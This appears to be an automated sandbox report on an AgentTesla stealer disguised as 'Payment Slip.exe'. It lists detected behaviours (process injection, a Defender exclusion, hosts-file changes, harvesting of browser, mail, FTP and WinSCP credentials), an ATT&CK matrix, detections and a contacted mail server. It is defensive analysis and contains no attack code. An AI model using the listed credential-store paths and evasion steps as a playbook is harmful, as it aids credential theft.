                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

                    Lowering of HIPS / PFW / Operating System Security Settings

                    barindex
                    Modifies the hosts file
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior

                    Stealing of Sensitive Information

                    barindex
                    Yara detected AgentTesla
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3cb4c90.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3ce94b0.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3cb4c90.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3ce94b0.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3c23e70.9.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0000000A.00000000.422706976.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000002.633233938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000000.423015971.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000000.422359021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000000.421937006.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.428332559.0000000003BE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: Payment Slip.exe PID: 3736, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 6004, type: MEMORYSTR
                    Tries to steal Mail credentials (via file / registry access)
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                    Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
                    Tries to harvest and steal ftp login credentials
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
                    Tries to harvest and steal browser information (history, passwords, etc)
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
                    Source: Yara matchFile source: 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 6004, type: MEMORYSTR

                    Remote Access Functionality

                    barindex
                    Yara detected AgentTesla
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3cb4c90.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3ce94b0.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3cb4c90.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3ce94b0.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.Payment Slip.exe.3c23e70.9.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0000000A.00000000.422706976.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000002.633233938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000000.423015971.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000000.422359021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000000.421937006.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.428332559.0000000003BE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: Payment Slip.exe PID: 3736, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 6004, type: MEMORYSTR

                    Mitre Att&ck Matrix

                    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                    Valid Accounts211
                    Windows Management Instrumentation                    		1
                    Scheduled Task/Job                    		211
                    Process Injection                    		1
                    File and Directory Permissions Modification                    		2
                    OS Credential Dumping                    		1
                    File and Directory Discovery                    		Remote Services11
                    Archive Collected Data                    		Exfiltration Over Other Network Medium1
                    Encrypted Channel                    		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                    Default Accounts1
                    Scheduled Task/Job                    		1
                    Registry Run Keys / Startup Folder                    		1
                    Scheduled Task/Job                    		11
                    Disable or Modify Tools                    		1
                    Credentials in Registry                    		114
                    System Information Discovery                    		Remote Desktop Protocol2
                    Data from Local System                    		Exfiltration Over Bluetooth1
                    Non-Standard Port                    		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                    Domain AccountsAt (Linux)Logon Script (Windows)1
                    Registry Run Keys / Startup Folder                    		11
                    Deobfuscate/Decode Files or Information                    		Security Account Manager311
                    Security Software Discovery                    		SMB/Windows Admin Shares1
                    Email Collection                    		Automated Exfiltration1
                    Non-Application Layer Protocol                    		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)3
                    Obfuscated Files or Information                    		NTDS1
                    Process Discovery                    		Distributed Component Object ModelInput CaptureScheduled Transfer11
                    Application Layer Protocol                    		SIM Card SwapCarrier Billing Fraud
                    Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script3
                    Software Packing                    		LSA Secrets131
                    Virtualization/Sandbox Evasion                    		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                    Replication Through Removable MediaLaunchdRc.commonRc.common1
                    Masquerading                    		Cached Domain Credentials1
                    Application Window Discovery                    		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                    External Remote ServicesScheduled TaskStartup ItemsStartup Items131
                    Virtualization/Sandbox Evasion                    		DCSync1
                    Remote System Discovery                    		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                    Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job211
                    Process Injection                    		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                    Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
                    Hidden Files and Directories                    		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet
                    behaviorgraph top1 signatures2 2 Behavior Graph ID: 635144 Sample: Payment Slip.exe Startdate: 27/05/2022 Architecture: WINDOWS Score: 100 54 Found malware configuration 2->54 56 Malicious sample detected (through community Yara rule) 2->56 58 Multi AV Scanner detection for dropped file 2->58 60 8 other signatures 2->60 7 Payment Slip.exe 7 2->7         started        11 Tnpak.exe 2->11         started        13 Tnpak.exe 2->13         started        process3 file4 36 C:\Users\user\AppData\Roaming\aXqntX.exe, PE32 7->36 dropped 38 C:\Users\user\AppData\Local\...\tmp62DF.tmp, XML 7->38 dropped 40 C:\Users\user\...\Payment Slip.exe.log, ASCII 7->40 dropped 62 Writes to foreign memory regions 7->62 64 Adds a directory exclusion to Windows Defender 7->64 66 Injects a PE file into a foreign processes 7->66 15 RegSvcs.exe 2 4 7->15         started        20 powershell.exe 25 7->20         started        22 schtasks.exe 1 7->22         started        24 conhost.exe 11->24         started        26 conhost.exe 13->26         started        signatures5 process6 dnsIp7 42 subnet-group.com 206.189.39.129, 49777, 587 DIGITALOCEAN-ASNUS United States 15->42 44 mail.subnet-group.com 15->44 32 C:\Users\user\AppData\Roaming\...\Tnpak.exe, PE32 15->32 dropped 34 C:\Windows\System32\drivers\etc\hosts, ASCII 15->34 dropped 46 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 15->46 48 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 15->48 50 Tries to steal Mail credentials (via file / registry access) 15->50 52 5 other signatures 15->52 28 conhost.exe 20->28         started        30 conhost.exe 22->30         started        file8 signatures9 process10

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    Payment Slip.exe20%ReversingLabsByteCode-MSIL.Trojan.Woreflint

                    Dropped Files

                    SourceDetectionScannerLabelLink
                    C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe0%MetadefenderBrowse
                    C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe0%ReversingLabs
                    C:\Users\user\AppData\Roaming\aXqntX.exe20%ReversingLabsByteCode-MSIL.Trojan.Woreflint

                    Unpacked PE Files

                    SourceDetectionScannerLabelLinkDownload
                    10.0.RegSvcs.exe.400000.4.unpack100%AviraTR/Spy.Gen8Download File
                    10.0.RegSvcs.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File
                    10.0.RegSvcs.exe.400000.2.unpack100%AviraTR/Spy.Gen8Download File
                    10.2.RegSvcs.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File
                    10.0.RegSvcs.exe.400000.1.unpack100%AviraTR/Spy.Gen8Download File
                    10.0.RegSvcs.exe.400000.3.unpack100%AviraTR/Spy.Gen8Download File

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    http://www.sandoll.co.krcomde0%Avira URL Cloudsafe
                    http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
                    http://www.goodfont.co.kr-e0%Avira URL Cloudsafe
                    http://www.carterandcone.comt-b0%Avira URL Cloudsafe
                    http://www.fontbureau.comueTFv0%Avira URL Cloudsafe
                    http://www.ascendercorp.com/typedesigners.htmlub0%Avira URL Cloudsafe
                    http://www.fontbureau.comd70%Avira URL Cloudsafe
                    http://www.fontbureau.comsief70%Avira URL Cloudsafe
                    http://www.fontbureau.comessed0%URL Reputationsafe
                    http://www.fontbureau.comalsFv0%Avira URL Cloudsafe
                    http://www.sajatypeworks.com0%URL Reputationsafe
                    http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                    http://www.carterandcone.comCs0%Avira URL Cloudsafe
                    http://OVQvJM.com0%Avira URL Cloudsafe
                    http://www.fontbureau.comessedD0%Avira URL Cloudsafe
                    http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/Y00%URL Reputationsafe
                    http://www.sandoll.co.krs-cv0%Avira URL Cloudsafe
                    http://www.jiyu-kobo.co.jp/(0%URL Reputationsafe
                    http://www.urwpp.deDPlease0%URL Reputationsafe
                    http://www.zhongyicts.com.cn0%URL Reputationsafe
                    http://www.carterandcone.como.0%URL Reputationsafe
                    https://api.ipify.org%0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/es-eO0%Avira URL Cloudsafe
                    http://www.fontbureau.comalsd0%URL Reputationsafe
                    http://crl.microsoft.co60%Avira URL Cloudsafe
                    http://www.galapagosdesign.com/0%URL Reputationsafe
                    http://www.sandoll.co.krw0%Avira URL Cloudsafe
                    http://www.carterandcone.comsof0%Avira URL Cloudsafe
                    http://www.jiyu-kobo.co.jp/O0%URL Reputationsafe
                    https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www0%URL Reputationsafe
                    http://www.sandoll.co.krm0%Avira URL Cloudsafe
                    http://www.jiyu-kobo.co.jp/D0%URL Reputationsafe
                    http://www.fontbureau.come.com0%URL Reputationsafe
                    https://4fzYgv0VsnfOwxj3KTsx.org0%Avira URL Cloudsafe
                    http://en.w0%URL Reputationsafe
                    http://www.carterandcone.coml0%URL Reputationsafe
                    http://www.founder.com.cn/cn/0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/y0%URL Reputationsafe
                    http://www.carterandcone.comof0%URL Reputationsafe
                    http://www.carterandcone.como.40%Avira URL Cloudsafe
                    http://www.jiyu-kobo.co.jp/Y0/0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/k0%URL Reputationsafe
                    http://www.founder.com.cn/cnicr0%URL Reputationsafe
                    http://www.fontbureau.comFk0%Avira URL Cloudsafe
                    http://www.founder.com.cn/cn%0%URL Reputationsafe
                    http://www.goodfont.co.krde0%Avira URL Cloudsafe
                    http://www.zhongyicts.com.cno.k0%Avira URL Cloudsafe
                    http://www.zhongyicts.com.cnue0%URL Reputationsafe
                    http://www.carterandcone.comn-u0%URL Reputationsafe
                    http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                    http://www.tiro.com0%URL Reputationsafe
                    http://www.goodfont.co.kr0%URL Reputationsafe
                    http://www.carterandcone.com0%URL Reputationsafe
                    http://www.sajatypeworks.comE0%Avira URL Cloudsafe
                    http://www.carterandcone.com(0%Avira URL Cloudsafe
                    http://www.galapagosdesign.com/staff/dennis.htm30%Avira URL Cloudsafe
                    http://www.carterandcone.com.0%URL Reputationsafe
                    http://www.founder.com.cn/cnC0%URL Reputationsafe
                    http://www.fontbureau.comoituO0%Avira URL Cloudsafe
                    http://www.carterandcone.comTCJ0%Avira URL Cloudsafe
                    http://www.fontbureau.comldom0%Avira URL Cloudsafe
                    http://www.typography.netD0%URL Reputationsafe
                    http://www.zhongyicts.com.cncr0%Avira URL Cloudsafe
                    http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                    http://fontfabrik.com0%URL Reputationsafe
                    http://www.sandoll.co.kra-es0%Avira URL Cloudsafe
                    http://www.carterandcone.comTCC0%Avira URL Cloudsafe
                    http://www.galapagosdesign.com/y0%Avira URL Cloudsafe
                    http://www.jiyu-kobo.co.jp/jp/k0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/slnt0%Avira URL Cloudsafe
                    http://DynDns.comDynDNSnamejidpasswordPsi/Psi0%URL Reputationsafe
                    http://www.sandoll.co.kr0%URL Reputationsafe
                    http://www.sakkal.com0%URL Reputationsafe
                    http://www.fontbureau.comueed0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/Y0MS0%Avira URL Cloudsafe
                    http://www.fontbureau.comF0%URL Reputationsafe
                    http://www.agfamonotype.0%URL Reputationsafe
                    http://www.carterandcone.comTC0%URL Reputationsafe
                    https://api.ipify.org%appdata0%URL Reputationsafe
                    http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe

                    Domains and IPs

                    Contacted Domains

                    NameIPActiveMaliciousAntivirus DetectionReputation
                    subnet-group.com
                    		206.189.39.129
                    		truefalse
                      		high
                      mail.subnet-group.com
                      		unknown
                      		unknownfalse
                        		high

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://www.sandoll.co.krcomdePayment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://127.0.0.1:HTTP/1.1RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		low
                        https://github.com/dcoetzee/plants-vs-zombies-user-file-editorPayment Slip.exe, aXqntX.exe.1.drfalse
                          		high
                          http://www.fontbureau.com/designers/frere-jones.html$Payment Slip.exe, 00000001.00000003.379498168.00000000059C3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379592614.00000000059C3000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.goodfont.co.kr-ePayment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.carterandcone.comt-bPayment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.comueTFvPayment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.ascendercorp.com/typedesigners.htmlubPayment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.comd7Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379899373.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379986432.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379805969.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380045205.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.comsief7Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380362004.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380504300.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380450430.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.com/designersPayment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.fontbureau.comessedPayment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.fontbureau.comalsFvPayment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.sajatypeworks.comPayment Slip.exe, 00000001.00000003.367520517.0000000005992000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.founder.com.cn/cn/cThePayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.carterandcone.comCsPayment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://OVQvJM.comRegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.fontbureau.comessedDPayment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378867231.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.galapagosdesign.com/DPleasePayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.jiyu-kobo.co.jp/Y0Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376962351.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376596653.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377028013.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376909789.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376730482.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377226807.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377358985.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376807157.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377104955.00000000059B3000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
